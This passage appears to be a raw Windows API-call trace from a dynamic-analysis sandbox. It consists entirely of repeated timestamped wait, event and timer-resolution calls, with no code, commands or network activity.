	[0082.716] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.720] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.828] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.930] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.930] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.025] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.025] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.121] SetEvent (hEvent=0x6c) returned 1
	[0083.121] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.169] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.176] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.218] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.218] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.221] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.353] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.353] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.464] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.464] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.484] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.502] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.502] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.504] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.527] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.671] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.671] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.812] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.877] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.877] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.894] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.894] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.896] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.919] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.922] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.923] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.926] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.927] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.932] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.933] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.941] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.951] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.951] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.976] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.976] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0083.987] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0083.987] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0083.988] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0083.988] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.005] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.005] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.007] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.030] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.051] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.051] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.069] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.098] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.099] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.100] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.101] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.130] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.151] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.161] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.161] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.162] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.162] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.189] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.189] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.191] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.191] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.391] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.397] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.431] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.431] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.433] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.433] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.449] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.466] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.466] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.468] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.468] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.495] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.531] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.532] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.532] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.533] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.549] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.561] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.561] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.563] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.586] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.615] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.615] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.664] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.668] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.668] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.669] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.669] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.687] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.687] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.688] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.715] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.752] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.752] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.753] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.778] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.778] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.783] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.783] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.808] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.815] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.815] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.819] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.819] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.838] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.849] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.849] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.849] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0084.866] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.868] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.894] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.895] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.897] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.900] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.902] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.904] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.905] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.907] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.907] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0084.926] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.029] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0085.029] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0085.139] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0085.139] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.295] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.391] SetEvent (hEvent=0x8c) returned 1
	[0085.391] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.500] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0085.500] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0085.632] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0085.632] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.643] SetEvent (hEvent=0x8c) returned 1
	[0085.643] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.739] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.835] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0085.931] SetEvent (hEvent=0x8c) returned 1
	[0085.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.028] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.129] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.226] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.256] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.264] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0086.264] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0086.281] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0086.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.310] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.315] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.317] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.321] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.332] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.333] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.336] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.336] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.341] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.342] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.343] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.345] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.351] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.354] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.354] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.356] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.357] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.361] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.363] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.365] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.366] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.368] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.370] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.374] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.375] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.377] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.381] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.384] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.386] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.387] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.388] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.393] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.397] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.399] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.400] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.404] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.420] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.477] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.487] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.562] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.583] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.595] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.657] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.714] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.725] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.746] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.767] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.777] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.788] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.800] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.812] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.833] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.844] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.865] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.875] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.887] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.897] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.908] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.942] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.955] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0086.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.013] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.022] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.046] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.058] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.078] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.112] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.123] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
